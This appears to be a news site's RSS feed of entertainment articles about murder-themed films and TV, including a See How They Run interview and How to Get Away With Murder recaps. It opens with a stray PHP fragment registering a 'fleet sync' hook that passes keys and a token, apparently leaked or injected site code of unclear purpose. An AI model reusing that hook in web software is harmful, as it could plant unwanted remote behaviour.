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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); murder – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Sep 2022 21:42:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png murder – Brief News https://briefnews.eu 32 32 The cast and crew of See How They Run on the art of the murder mystery https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/ https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/#respond Fri, 16 Sep 2022 21:42:12 +0000 https://briefnews.eu/the-cast-and-crew-of-see-how-they-run-on-the-art-of-the-murder-mystery/ The lights go out, a woman screams, and a loud thud breaks the silence. When the lights come on again, a dead body is revealed and a room full of shocked witnesses eye each other warily. Which one of them did it? That’s the premise of pretty much every murder mystery in the 20th century, and See How They Run, a new film starring Sam Rockwell and Saoirse Ronan, doesn’t stray too far from that formula. Its most appealing quality is how lovingly retro it all feels: the ne’er-do-well victim, the shady suspects, and the dark mansion where all secrets are revealed.

In an interview with Digital Trends, director Tom George and co-star Charlie Cooper discuss the eternal appeal of the murder mystery genre, how a cast of veteran American and British actors was eventually cast, and why films like this are best experienced in a crowded theater full of moviegoers eager to solve the case.

This interview has been condensed for length and clarity.

Digital Trends: What made you two decide to make See How They Run?

Tom George: I think what appealed to me was the chance to make a film that was a thriller, a murder mystery, and a comedy. I liked the challenge of threading those elements together, because I think there’s a risk that, you know, you overplay the comedy elements, and you lose the stakes in your thriller, and you play too much emphasis on the darker elements and the comedy tone drifts away.

The cast of See How They Run looks at the camera.

Charlie Cooper: I’ve always loved murder mysteries, and the fact that it’s that, but also a comedy was what really drew me to the film, because it’s a hard thing to get right. We see a lot of straight-forward murder mysteries, but to have that suspense and combine it with laughs is just really appealing. And then having read the script, it was just superb — the whole tone of it and the colorful characters. Yeah, it was perfect.

The movie is sort of a love letter to Agatha Christie, with her famous play The Mousetrap being a pivotal plot device and an old-fashioned murder mystery genre. What do you like about the genre in particular, and what are some of your favorite mysteries?

George: I wasn’t a huge mystery fan before See How They Run. I think, certainly in England, we’ve all grown up with them, whether it be murder mystery books or TV adaptations or films. The challenge then is how do you do something new in that space?

On the one hand, this is a film set in 1953. It wants to feel like a fully realized version of 1950s London, but it also only works from a sort of modern viewpoint. It was clear there’s this contemporary thread running through the whole film tonally.

My first engagement with murder mysteries would have been Poirot, the Agatha Christie character who was played by David Suchet in a series from the ‘80s and ‘90s. That was a staple for me and my brother, and we’d sit there and try to write down notes to crack the case. But, of course, Christie’s mysteries don’t work quite like that.

Cooper: It’s that sort of inherent human trait of working out a mystery in your imagination that’s so lovely. It’s such a part of British culture, you know, in stories and plays.

Had you seen The Mousetrap before making this film?

George No, I hadn’t seen The Mousetrap before making this film. I was due to go and see it, but then there was a global pandemic, which made that trickier. But in the end, I read the play, and I was familiar with it by the time we shot the film. I see that as a positive, because I think it’s important that the audience can come to this movie not having seen that play and still enjoy it.

A female cop looks on in See How They Run.

I wanted to have this layer of awareness about the genre and the tropes of the genre and the way that these kinds of stories function, but that all needs to be built on solid foundations with relatable characters and a good story. It needed to work in its own right. Hopefully, that extra layer is exciting for fans of the genre or for people on a second watch-through.

Cooper: No, I hadn’t, actually. I didn’t know that much about Agatha Christie before I joined the cast. It’s one of those things you don’t realize how much you know until you sort of go back and look at it properly, and we shot it during the pandemic, so we weren’t able to see the play.

The movie features an eclectic cast. How did you assemble such a motley crew of actors?

George: You know, the great thing about a whodunit is you get to have a large ensemble of potential suspects and victims. And Mark Chappell [the writer] had written these brilliant characters so that then the process of putting actors in those parts was actually one of the most fun parts of the production.

It certainly started with Saoirse Ronan, who was the first person we thought of for Constable Stalker. We had a couple of conversations with her, and she came on board, and it really kind of built out from there. Sam Rockwell joined us, then David Oyelowo, and then the rest of the cast followed. They not only were brilliant people in their own right, but also it gave a clear direction to the project. People could see or get more of a sense tonally of what we were trying to do.

Charlie, how did you approach playing your character Dennis the theater usher? Like everybody else in the cast, you must be believable as both a potential suspect or victim.

Cooper: Yeah, I knew that from the beginning, and I think that what really appealed to me was doing something challenging and completely outside my comfort zone. It was so much fun to play Dennis. I would definitely do it again.

A man and a woman sit in a dresser room in See How They Run.

What should audiences expect from this movie?

George: I think audiences should expect a whodunnit that is both for fans of mysteries but also for people who wouldn’t usually go and see this type of film. And above all, I think it’s a film to watch with groups of people, whether that’s at home or preferably in the theater. It’s so easy to forget that joy of laughing with an audience. I think it’s an essential social thing that we’ve missed these last two years. And this kind of film used to get made here in the UK quite a lot: dark crime dramas with overtones of comedy.

Cooper: See How They Run is just an hour and a half of pure escapism. It’s a chance to get really get absorbed into that world of West End London in the 1950s, which is so lovely because the cinematography is so good. The costumes are amazing, and the sets are unreal. So, it’s just going to be one of those movies where I think you’re looking at the cinema and just thinking, “I really want to go back into that world for a couple more hours,” which is really nice. I love it when that happens. And again, you know, in its purest form, it’s a classic murder mystery that everyone will love to watch.

See How They Run is currently playing in select theaters.

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Walker is coming up on an unfortunate milestone: This Thursday’s episode (The CW, 8/7c) marks the one-year anniversary of Emily Walker’s death.

The Texas Ranger hasn’t been dealing with his wife’s passing very well, and the anniversary will, naturally, bring up even more emotions for the widowed father. “He definitely goes on a journey of grief within this episode, and a lot of it is about exploring those stages as the episode unfolds,” showrunner Anna Fricke previews. “I feel like even though he’s been home for these first five episodes, he hasn’t really been present, and he hasn’t really been processing. This is the beginning of him stepping out of that fog and seeing who his kids are and what they need, and dealing with his own emotions about Emily, about the death of Emily, and this sentimental space, the Side Step, and what that means to them.” (Geri’s thinking of selling the bar, so you can expect Walker to have plenty of thoughts about that choice.)

While Walker is mourning his wife, his brother Liam and his boss Captain James are digging into the strange circumstances surrounding Emily’s murder and the man who confessed to killing her. “They are starting to feel like something is not quite right, and so they’re going to further go down that road, looking into Carlos Mendoza,” Fricke shares. And they will continue to keep Walker in the dark about what they’re up to, “which is going to be a huge betrayal, because they were the ones who were so adamantly telling him to back off and to stop looking into it and stop chasing ghosts, and now that they’ve discovered that something is awry, they want to protect Walker until they have real information. But there’s just no clean way for them to do this. When the truth comes out, it’s not going to be easy.”

Walker SpoilersElsewhere, Micki gets an unexpected visit from her mother Adriana (played by Telenovela‘s Alex Meneses), who is actually in town because of Walker. “She’s a court-approved psychologist whose job is to question those in law enforcement for excessive force and to give them mental assessments. So she’s here to question Walker and his actions,” Fricke reveals.

Adriana might just be doing her job, but “she and Micki have a very fraught relationship, so Micki is furious that her mother has inserted herself into her partnership,” Fricke continues. However, “as the dynamic between mother and daughter unfolds in the episode, Micki actually sort of learns something from her mother, and Walker learns something, as well.”

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]]> https://briefnews.eu/walker-ep-previews-quest-for-answers-about-emilys-murder-and-why-mickis-mother-is-bad-news-for-cordell/feed/ 0 SNL Tackles Our Murder Shows Obsession — Watch Music Video https://briefnews.eu/snl-tackles-our-murder-shows-obsession-watch-music-video/ https://briefnews.eu/snl-tackles-our-murder-shows-obsession-watch-music-video/#respond Sun, 28 Feb 2021 16:25:16 +0000 https://briefnews.eu/snl-tackles-our-murder-shows-obsession-watch-music-video/

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Saturday Night Live knows exactly how you spend your Saturday nights… besides watching SNL, of course.

During this weekend’s Nick Jonas-hosted episode, the sketch comedy series set its sights on the widely popular obsession with murder shows. In the music video, a husband (played by Jonas) heads out for the evening, leaving his wife (Chloe Fineman) with sole custody of the remote control. With the entire night open to unwind and “do a little self care,” she turns to her go-to source of gruesome entertainment.

In the clip — which also featured cast members Kate McKinnon, Melissa Villaseñor and Ego Nwodim — the women sing about their favorite genre of TV, as they watch various elements of horror unfold before them.  (“They dig up some bodies and do an autopsy (boring!)/Wake me up when it’s Munchausen by proxy,” sings Nwodim.)

From there, it’s all severed limbs, cannibals and “pretty girls scalped at the prom,” as the cast watches all sorts of murder shows while conducting the most basic of tasks like paying taxes, stalking exes on Instagram and yes, even sitting on the toilet. (We’ve never felt so seen.)

Jonas reappeared toward the end of the video to add cult shows to the mix, sporting a killer ponytail as he parodied NXIVM leader Keith Raniere. (Watch the full video below.)

Elsewhere in the episode, McKinnon’s Dr. Fauci hosted a vaccine eligibility game show, and first-time host Jonas gave a tuneful salute to Broadway, New York City and everyone affected during the pandemic, before performing his new single, “Spaceman.”

What did you think of SNL‘s latest music video? And what did you think of the episode overall? Grade it below, then sound off in the Comments.

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Food Network has pulled all content related to Season 20 of Worst Cooks in America, following the arrest of winner Ariel Robinson for a child’s death.

Robinson, 29, along with husband Jerry Robinson, 34, face counts of homicide by child abuse for the death of their adopted three-year-old daughter, reports TV news station WHNS. The child, identified as Victoria Smith, was found unresponsive on Jan. 14 at the couple’s home in Simpsonville, S.C., having died as a result of blunt force injuries, according to a medical examination.

Since the arrest was made, Season 20’s episodes and all clips related to it have disappeared from the Food Network’s Discovery+, Hulu and YouTube pages. The network has yet to comment on the situation.

Robinson won $ 25,000 in the last edition of Worst Cooks in America, which follows contestants with admittedly bad cooking skills as they compete for the grand prize. The cast members endure a cooking boot camp under celebrity chef supervision, all while trying to serve up the best of the worst to avoid elimination.

Hosted by chefs Anne Burrell and Alex Guarnaschelli, Season 20 originally aired in the summer of 2020. Robinson was declared the winner during its Aug. 2 finale. Season 21, featuring Burrell and guest mentor Carla Hall, premiered on the Food Network Jan. 3, 2021.

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]]> https://briefnews.eu/worst-cooks-in-america-season-pulled-after-winners-arrest-for-child-murder/feed/ 0 How to Get Away With Murder Series Finale Recap: So… Did They Get Away With It? — Plus, Grade the Episode https://briefnews.eu/how-to-get-away-with-murder-series-finale-recap-so-did-they-get-away-with-it-plus-grade-the-episode/ https://briefnews.eu/how-to-get-away-with-murder-series-finale-recap-so-did-they-get-away-with-it-plus-grade-the-episode/#respond Fri, 15 May 2020 08:21:37 +0000 https://briefnews.eu/how-to-get-away-with-murder-series-finale-recap-so-did-they-get-away-with-it-plus-grade-the-episode/

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Need to catch up? Read our previous How to Get Away With Murder recap here.

Ever since Annalise Keating wrote the name of her law course on that chalkboard in 2014, she’s been teaching those closest to her How to Get Away With Murder. It’s fitting, then, that Thursday’s series finale gave us closure on who — if anyone — managed to get away with their many crimes from the past six years.

Heading into Murder’s final hour, we had plenty of other questions that needed answers, too. Would Annalise really fake her death and start a new life? Would Hannah Keating’s killer be revealed? Has Wes been alive this whole time?! And though the ABC drama only had 43 minutes to tie up loose ends, many of our questions were addressed — some of them with devastating results. (Click here for our full post mortem interview with series creator Pete Nowalk.)

Read on for the details of “Stay”:

MAN DOWN? | We begin in the future, seemingly after Annalise’s trial has ended. There are gunshots. Reporters and onlookers scream and start running away from the courthouse. We see a close-up of a blood-soaked body, though we don’t find out whose it is. Inside the courthouse, Annalise’s mother frantically asks if Annalise has been hurt.

In a later version of this same scene, we get a few more details: When shots are fired, Tegan tells Annalise to get down. We still aren’t told whether Annalise has been shot, but there is a glimpse of Tegan looking horrified. Laurel, meanwhile, is putting Christopher in a car seat when the shots ring out. She turns around to see what happened, then looks like she’s been punched in the gut after spotting whomever’s been hurt. “Drive. Drive right now!” she cries to the person at the wheel.

SAM’S CLUB | Three days before that shooting takes place, Annalise is still figuring out how to win her case, and she’s none too pleased that Bonnie blabbed to Frank about his real parents. Tegan is still certain that Gov. Birkhead orchestrated Hannah Keating’s death — but when we return to the scene of that crime, it seems Frank was the one to kill Hannah, after all. It’s not that we get explicit confirmation of this, like a flashback of Frank finishing the job; rather, when Hannah’s lawyer, Floyd, gets back in his car that night, a gloved Frank is suddenly there, pointing a gun at Floyd’s head from the backseat. So it tracks!

“Don’t move. I just want to talk,” Frank tells Floyd, who asks what this is about. “My mother,” Frank replies. (Well, it’s more like “my mothah” when you add a little Delfino to it.) The next time we see these men, Floyd is presenting Frank with everything that was in Hannah’s safe deposit box, including her passports and will. But when Floyd accidentally reveals that there’s something he’s still keeping from Frank, Frank threatens to end his life right then and there — and Floyd immediately crumbles, revealing that there’s a flash drive with crucial information on it.

Later, during a break between testimonies at Annalise’s trial, she and Frank speak in the hallway, and he denies that he killed Hannah. “You know what you never get? That you’re it for me,” Frank tells her, tears in his eyes. “You got me out of the pound. Sure, I mess up. But all I want now is to make you happy.” (Man, Charlie Weber is a heartbreaker here.) After their sweet conversation, in which Annalise implores Frank to stop hating himself, he presents her with the aforementioned flash drive. “What’s that?” she asks. “How you’re gonna win,” he replies. (But we’ll get back to that!)

HTGAWM Series FinaleThat evening, Bonnie — who expressed to Laurel in an earlier scene that she regrets telling Frank about his real parents — comes home to find Frank carrying a suitcase. “What am I supposed to do now, knowing what’s in me?” he asks her, adding that she should have known better than to burden him with the truth about Sam and Hannah. Bonnie insists the burden is on both of them, and she wants to support him through all of this — but Frank counters that “you should put a bullet in my head, ‘cause that would have been nicer than what you did.” (Ouch.) Despite Bonnie’s pleas for Frank to stay, he can’t be persuaded. “I’ll forgive you. I will,” he tells her. “Just not right now.” And after kissing her one last time, he leaves.

As it turns out, Frank’s suitcase isn’t full of his belongings. Rather, it contains $ 87,000 — the money he got from the Mahoneys, I presume — which he presents to Gabriel, who was potentially going to appear as a surprise witness in Annalise’s case. Though he knows that Gabriel still wants the truth about what happened to Sam, Frank reminds him that Sam was a bad dude; he even reveals that Sam enlisted Frank to kill Lila Stangard a few years back. “Take the money. Get away from all this,” Frank tells Gabriel, urging him not to testify against Annalise. “Or Sam’s gonna destroy your life like he’s done everyone else.” (As we later learn, Gabriel does take the cash, instead of taking the stand, and seems to get outta Philly for good.)

LET’S MAKE A DEAL | Meanwhile, there’s Connor, who’s starting to think that he, Michaela and Oliver should just come clean about all of their crimes. (Perhaps this deleted scene has something to do with his guilt?) Neither Michaela nor Oliver is on board with that plan; Michaela insists that her nightmarish, abusive childhood was enough imprisonment for one lifetime, and now she plans to make something of herself.

That night, Oliver comes home from doing research at Middleton’s library, happily revealing that he’s figured out a way to get Connor the same immunity deal as Michaela — one that doesn’t include any jail time. Connor isn’t thrilled by that news, and he wishes Oliver would respect that he wants to go to prison; Oliver is irked by Connor’s stubbornness and threatens to divorce him on the spot (!) if Connor doesn’t do what’s best for his husband this time.

Suspiciously, though, Connor receives a phone call from Agent Lanford that same night, and he visits the FBI offices the next day, where he’s suddenly offered the exact same immunity deal as Michaela. U.S. Attorney Lennox tries to convince Connor that he simply had a change of heart about the immunity deal, thinking it unfair that Michaela got a better arrangement than Connor did. But Connor doesn’t buy it: When he returns home, he seems to know that Oliver wasn’t actually doing research at the law library the previous night; rather, he was secretly meeting with Lanford and Lennox in an attempt to get Connor a better deal. What’s more, in order to secure that better deal, Oliver had agreed to testify against Annalise — and he was going to lie that Annalise had asked him to wipe dirty photos of her and Wes from her hard drive.

HTGAWM Series FinaleThat’s when Connor drops two bombs on Oliver: He turned down the new immunity deal, and he wants a divorce. He’s got the paperwork all drawn up, in fact. Connor will be taken away to prison as soon as the trial is over, and he doesn’t want Oliver to wait for him while he’s behind bars. And sure, Oliver might be alone for a while, “but only until you meet someone who’s actually good for you,” Connor insists, adding that the only thing holding their relationship together is death and trauma and lies. Oliver refuses to go through with the divorce, especially since he’s certain that Connor still loves him… but Connor then breaks it to him that “I don’t love you.” (And Oliver weeps, just like the rest of us watching at home.)

TAKE THE STAND AND DELIVER | As for the actual trial proceedings, there are three major testimonies that take place in Thursday’s finale. First up: Jorge Castillo, who isn’t much help. Not only does he deny working with the governor and the FBI to take down Annalise, but he identifies Tegan as the informant who got him locked up in the first place. (You might recall that Jorge isn’t supposed to have that information; Tegan had previously shared that she only helped Laurel get out of Philadelphia because Laurel had threatened to tell Jorge that Tegan was the informant. And apparently, Jorge found out anyway!)

Next, there’s Gov. Birkhead, who similarly denies knowing the Castillos and conspiring with the FBI. But during the cross-examination, Annalise plays an audio file that was on the flash drive Frank gave her, which is a phone call from Hannah Keating to Xavier Castillo. “I just saw the governor on TV saying Nate Lahey Sr. died,” Hannah is heard telling Xavier, who confirms Nate Sr.’s death. “Because the governor killed him?!” she continues, incredulous. “I wanted Annalise to go down for my brother, not hurt all these other people.” (Gov. Birkhead maintains that she doesn’t know why Hannah and Xavier are speaking so intimately of her on that call, but this doesn’t look great for her regardless.)

And finally, there’s Nate’s testimony. Now, Annalise doesn’t have a lot of faith in him at this point, because Lanford and Lennox just offered Nate a $ 20 million (!) settlement for his father’s wrongful death lawsuit. And for that kind of money, surely Nate would tell whatever lies about Annalise that the FBI wanted, right? But when Nate takes the stand, he comes through for her. He lies that Hannah Keating was the one who framed him for Sam’s murder (when it was really Annalise), and he reveals that the FBI tried to coerce him into saying what they wanted. (Annalise, for her part, looks like she just won the Powerball.)

That evening, Nate stops by Annalise’s apartment, and she asks why he decided to help her. Though he admits he hated Annalise for a long time, he also wanted to take responsibility for the role he played in their collective mess. In order to truly move on, he needs to “own my side of the road” — and he thinks Annalise needs to do the same, which isn’t exactly her strong suit. Before he goes, he has one last parting gift for Annalise: Wes’ written confession, which he found on Xavier Castillo after killing him. “Goodbye, Annalise,” Nate says, kissing her on the cheek and leaving for good. Annalise, meanwhile, wisely burns the confession, then gets a surprise visit from her mom and sister, who have come to offer her moral support.

HTGAWM Series Finale‘THERE’S A VERDICT’ | And now, the trial has reached its end. Despite some initial doubts that she even deserves to be acquitted, Annalise gives an emotional, compelling closing argument to the jury, admitting that she’s a flawed, messy person — but she’s no murderer. Then, while Annalise and Tegan wait for the jury to deliberate, Tegan finally reveals what we’ve all known for months: “I think I’m in love with you, Annalise.” (Thank you, Pete Nowalk, for not letting this go unaddressed!)

Though Tegan insists that she can give Annalise love and make her happy, Annalise can’t promise her the same. “That’s what you deserve, and it’s out there for you,” Annalise assures her. “But it’s just not me.” Moments later, they’re interrupted by Bonnie, who tells them the verdict is in — and once everyone has returned to the courtroom, it’s revealed that Annalise has been found not guilty on all charges. There’s tears! There’s hugging! There’s Lennox looking defeated, as he should!

The acquittal isn’t great news for everyone, though: Connor is handcuffed shortly after the verdict is announced, and he shoots down Oliver’s pleas for them to stay together while he’s behind bars. “Oliver, thank you. Now I know how to love,” Connor says — sob! — before he’s whisked away, and Oliver has no interest in Michaela’s attempt at comfort. “That should have been you,” he says icily before walking away, and when Michaela tries to call Laurel, she’s stunned to find that Laurel has changed her number.

Here, we catch up with the episode’s earlier flash-forwards (with an acute sense of dread, I might add!). Annalise is on the steps outside the courthouse, triumphantly answering questions from the press; one reporter even remarks that Gov. Birkhead is also at the courthouse that day, where she’s taking a meeting with the attorney general. Then, Bonnie spots Frank working his way through the throng of reporters, looking both miserable and determined. (In an earlier scene, Frank had paid a visit to Baby Sam’s gravesite, full-on weeping that he was sorry.)

Seeming to realize Frank’s plan, Bonnie tries to intercept him on his way up the courthouse steps. But she can’t stop him in time: As Gov. Birkhead makes her way out of the building, Frank raises his gun and shoots her multiple times, making her the casualty we saw at the top of the hour. But after Frank opened fire, someone on the governor’s security team grabbed their own gun, and we realize that Frank was also shot amid the chaos. “I had to make it right,” Frank tells Bonnie, bleeding out in her lap. “Tell Annalise.” But just as Annalise rushes over to help, Bonnie discovers that she had also been shot during the pandemonium — and despite Annalise’s best attempts to keep her conscious, Bonnie dies on the courthouse steps, as well.

HTGAWM Series FinaleOUR DEARLY DEPARTED ANNALISE | With that, we’re suddenly back at Annalise’s long-teased funeral — and not only is it revealed to be a real funeral for Annalise’s legitimate death, but it’s set many years in the future. That photo of Annalise we’ve been seeing, surrounded by a wreath of flowers? It’s standing right next to a photo of Annalise as an old woman, as she apparently got to live a long and full life after her acquittal. And kudos to those of you who correctly assessed the Wes twist from earlier this season: Alfred Enoch isn’t playing Wes at this funeral, but an adult version of Wes and Laurel’s son, Christopher.

“Do you want to say anything?” Christopher asks (in Spanish!) to Laurel, who is also in attendance. “No,” she responds. “But you should.” As for the acquaintance who was brought up to say nice things about Annalise, that would be Eve, who delivers an honest, emotional eulogy. As she does, a number of storytelling gaps are filled via montage: Annalise and her sister, Celestine, mourn their deceased mother. Nate is photographed at the groundbreaking ceremony for the Lahey Justice Center. Jorge Castillo is stabbed to death in prison. (!) Michaela, now an older woman, is sworn in as a lawyer (or judge?), seemingly accompanied by her two daughters. And at Annalise’s funeral, Laurel looks back in the crowd and spots both Connor and Oliver, who stayed married, after all. (Yay!)

The very final scene probably feels a bit familiar: As adult Christopher walks into a Middleton classroom, he introduces himself as the professor of Criminal Law 100 — “or, as my mentor liked to call it,” he says, writing an alternate course title on the board, “How to Get Away With Murder.” (He’s got the Keating cadence down pat, too.) And when he looks out to the lecture hall, he envisions Annalise sitting in one of those seats, beaming at him.

It’s been a pleasure watching and theorizing with you, Murder fans! Now, it’s your turn to weigh in. What did you think of the series finale? Cast your votes in our polls below, then hit the comments with your full reviews!


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And here I was, naively thinking How to Get Away With Murder couldn’t surprise me anymore.

I’m not just talking about the identity of Asher Millstone’s killer, which we learned in Thursday’s episode — though I certainly didn’t predict the person who was wielding that fireplace poker, either. Rather, I was stunned that Murder revealed the culprit so soon; with four weeks left in the final season, I assumed that question would linger a while longer. But Pete Nowalk had other plans!

Let’s jump right in with the events of “The Reckoning,” which seemed to set up a war between Annalise and her former students.

THE EARS HAVE IT | Let’s get Asher’s murderer out of the way early: Though I was convinced that Gabriel had offed his onetime classmate — and many of you suspected him, too, along with Bonnie and Frank — he was merely an innocent witness to the crime. But you might remember that earlier this season, Murder introduced an associate of Xavier Castillo’s who 1) pretended to be an Airbnb guest in Annalise’s building, and 2) cut the brakes on Bonnie’s car, causing the accident that nearly killed her. And though this associate seemed like a background player for much of the season, we learned on Thursday that she was the one behind Asher’s death — which I suppose means Xavier was orchestrating the whole thing, like Bonnie and Frank had theorized. But more on that later.

Through a series of flashbacks, we get to see what happened after Asher offered Gabriel $ 64,000 for his cell phone — and to save us all some time, let’s break down what actually happened that night, despite the way this episode jumps around in time and serves up a few red herrings. First, Gabriel does hand over his device — which, notably, seems to be a second phone that he owns — but he pauses to ask Asher if Wes killed Sam Keating by himself. Asher responds that he wasn’t there when Sam died, but he thinks Wes must have had help from someone. Gabriel, meanwhile, refuses to accept Asher’s check because he thinks Asher’s high, but Asher convinces him to keep it as collateral until he gets his phone back.

When he’s back in his own apartment, Asher calls his sister (who’s partying in Atlantic City), revealing that he came clean to his friends about being the mole. He’s also worried that the FBI won’t follow through with their deal, since Asher hasn’t given them any evidence that implicates the others; Chloe tries to calm him and calls a car to pick him up. While he waits for his ride to arrive, Asher records a video message on Gabriel’s phone that we later learn is intended for Connor, Oliver and Michaela. “I’m not sorry for what I did,” Asher confesses. “I chose my family. And maybe that makes me a schmuck or soft, but I love them. And I love you guys, too.” He closes by imploring his three friends to do the right thing and look out for themselves — and just as he’s about to email them the video, Asher gets a knock at his door.

HTGAWM Season 6Initially, we don’t learn the identity of Asher’s mystery guest, but it’s revealed at the end of the hour to be Xavier’s associate, with whom Asher clearly has some kind of working relationship. “Where have you been? I’ve called you, like, 10 times,” Asher says. She asks Asher where he wants to go, and he replies that he’d like to go home to his mom’s house. She agrees to take him there, and she’ll wait for him to return Gabriel’s phone first — but as soon as Asher steps out into the hallway, the woman grabs hold of the fireplace poker she’d been hiding, and she kills Asher with a couple of wicked blows.

Meanwhile, when Asher’s murder goes down, Gabriel hears some commotion from the hallway, including a thud and Asher’s protests. Gabriel gets on his stomach to peek through the crack between his apartment door and the floor, and he watches as Asher’s life ends — and though he doesn’t get a good look at the killer’s face, he glimpses a woman’s dark hair as she descends the stairs and leaves the building.

Now, at first, Gabriel believes that Laurel was the one to murder Asher, especially after learning that Laurel used to live in Asher’s apartment before he did. He’s so sure of it, in fact, that he goes to the FBI to share that Laurel is the culprit. Upon hearing Gabriel’s theory, Agent Lanford calls in Special Agent Pollack, who was Asher’s point person at the FBI… and, as it turns out, Agent Pollack is Asher’s murderer. (It remains unclear whether Pollack is a legitimate FBI agent who came to work for Xavier Castillo on the side, or if she’s a full-time Castillo crony who somehow infiltrated the FBI. Either way, it seems to me that Asher took Pollack’s FBI gig at face value, and he didn’t know that she was working with the Castillos. But anything’s possible, I suppose.)

When Pollack enters Lanford’s office, she’s a little nervous to hear that Gabriel may have laid eyes on Asher’s murderer. But just when it seems like Gabriel is about to point the finger at Laurel, he realizes that Pollack is wearing some very distinctive earrings, including a cartilage piercing… and he remembers seeing those exact earrings on Asher’s killer as he watched her walk down the stairs. (I’ll choose to suspend my disbelief that Gabriel would ever have spotted someone’s jewelry from such a far distance, while peeking through a crack in the door.) Gabriel looks stunned as he mentally connects the dots — and though we don’t see the end of his conversation with the FBI, he does go to Connor, Michaela and Oliver later that day to share that he knows who killed Asher. “It was the FBI,” he reveals, leaving the three of them shocked.

PEACHY KEATING | Meanwhile, Annalise has her own problems to address. After getting arrested in Mexico, she’s on house arrest in the United States — welcome to the quarantine, Professor! — and her mother, Ophelia, is staying with her. But at her arraignment a week earlier, Annalise was merely charged with possession of a false ID and passport forgery, which seems suspect. Annalise is certain that AUSA Montes is hiding her real case against Annalise behind these flimsy charges, in order to surprise her with a slew of more substantial charges at trial. To that end, Annalise files for a bill of particulars — or, as Ophelia calls it, “that bill of peculiarities” — which would force AUSA to give Annalise a heads-up about all the additional charges she plans to bring against her. And Annalise wins this motion, because she’s Annalise.

The next day, Annalise looks through the upcoming charges against her — including the first-degree murder of Sam Keating. Annalise quickly deduces that Connor and Michaela must have taken a deal, because there’s no way Asher alone could have supplied the FBI with convincing evidence of Sam’s murder. “The little bitches turned,” Annalise says… but she insists that she, Bonnie and Frank need to play nice with Michaela, Connor and Oliver for now, and she even tells her former students that she won’t sell them out, because then she’ll look like a fool for protecting them all these years. “If we can’t trust each other, what do we have?” she says to the trio, not-so-subtly hinting that she knows they’ve already betrayed her.

HTGAWM Season 6Unfortunately, there might be another traitor to add to Annalise’s list, and that’s Nate. When Tegan takes a meeting with AUSA Montes, attempting to get some of Annalise’s charges dropped before trial, Tegan scoffs at the “aggravated arson” charge, since Annalise’s house only exploded due to a gas leak a few seasons ago. That’s when AUSA reveals that the arson charge doesn’t refer to Annalise’s campus house; it’s about the fire started at her childhood home on Peachtree Street (which we already know was started by Annalise’s mother in order to kill Annalise’s sexually abusive uncle).

“They’re alleging a pattern of arson based on the fire that burnt down your childhood home,” Tegan tells Annalise, who’s more concerned about how the FBI even obtained the news clipping about the Peachtree fire. And that’s when it hits her: The night that Annalise took off for Mexico, Nate had handed over the files that D.A. Denver used to keep on all of them, which included the news article about the Peachtree fire. At the time, it seemed like Nate hadn’t given those files to the FBI… but Annalise now assumes that he made copies of the documents, which he must have given to the bureau. (We don’t see any flashback footage of Nate doing this, but we do know he’d spoken to the FBI before, while pursuing justice for his father. So Annalise could be right.)

Annalise reveals to Bonnie and Frank that Nate likely betrayed her, and Frank is ready to put Nate in a body bag right then and there. But Annalise insists that Nate can’t know they’ve figured out his secret; she even tells Bonnie and Frank to get out of Dodge and protect themselves, which is exactly what Annalise tried to do for herself in Mexico. But they both refuse the offer: “It’s always been the three of us,” Bonnie counters.

“They wanna come after me, call me an arsonist?” Annalise says. “Well, they better get ready, ‘cause we’re gonna burn every last one of those motherf—kers down.” (Bonnie seems pleased by that idea.) And this episode answers another big question about Annalise: The night that she went to Mexico, she had asked her VIP Results driver to stop the car so that she could go back and get Bonnie to come with her. But when she knocked furiously on Bonnie’s door, Bonnie didn’t answer, because she’d gone to Annalise’s apartment to let her know that Asher was the mole. At first, Annalise suspects Bonnie of killing Asher, because “you found out what he was doing, and I know what you’ve done before.” But Bonnie tearfully responds that it wasn’t her, and Annalise chooses to believe her. (And it’s a relief to know that she should!)

OK, your turn. What did you think of the episode’s big reveals? Had you suspected Xavier’s associate at all in Asher’s murder? Drop your reactions in a comment below!

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]]> https://briefnews.eu/how-to-get-away-with-murder-reveals-ashers-killer-did-you-guess-right/feed/ 0 Liar season 2: ITV viewers outraged over shock arrest for Andrew’s murder ‘Too obvious’ https://briefnews.eu/liar-season-2-itv-viewers-outraged-over-shock-arrest-for-andrews-murder-too-obvious/ https://briefnews.eu/liar-season-2-itv-viewers-outraged-over-shock-arrest-for-andrews-murder-too-obvious/#respond Mon, 02 Mar 2020 23:57:04 +0000 https://briefnews.eu/liar-season-2-itv-viewers-outraged-over-shock-arrest-for-andrews-murder-too-obvious/

Laura Neilson (played by Joanne Froggatt) believed her ordeal at the hands of Andrew (Ioan Gruffudd) was finally over as the first season of Liar concluded two years ago. With the rapist exposed, it was thought his victims might finally get justice until a shock twist saw him end up dead. This evening’s first instalment of the second outing from the ITV drama saw the story pick up just days after the cliffhanger ending. However, viewers were left infuriated as the police believed they had the right suspect.

With Metropolitan police detective Karen Renton (Katherine Kelly) brought in to try and crack the case, one of the first people she spoke to was school teacher Laura.

The latter had more motive than most to commit murder, given the lengths she had to go to prove Andrew had raped her.

What didn’t help matters is that after a member of the authorities got a warrant to search her property, they discovered a set of car keys belonging to the deceased in her bedside cabinet.

As she was brought in for questioning, her reluctant to admit she killed her attacker led to the DI to arrest her suspect and viewers were not pleased.

READ MORE: Liar stars speak out on Andrew Earlham’s killer as ITV series returns

Taking to Twitter, fans flocked to the social media platform to voice their fury over Laura being the prime suspect in the case.

One wrote: “Surely they wouldn’t be able to arrest someone on such little evidence and not let them have a lawyer in real life? And can’t they check her movements on CCTV? #Liar.”

Another added: “There’s a list of suspects and she arrests her #Liar,” to which a third commented: “Apart from a car key, she has no real evidence to arrest her? #Liar.”

A fourth shared: “#Liar no way was it her… too obvious still think its womans girlfriend who did it.”[sic].

The school teacher had no idea how the car key ended up in her property, piling on the strength to DI Renton’s case she was the one who struck the killer blow.

However, viewers have voiced their theories to who could have planted the incriminating evidence, with Laura’s sister Katy Sutcliffe (Zoe Tapper) sitting at the top of the list.

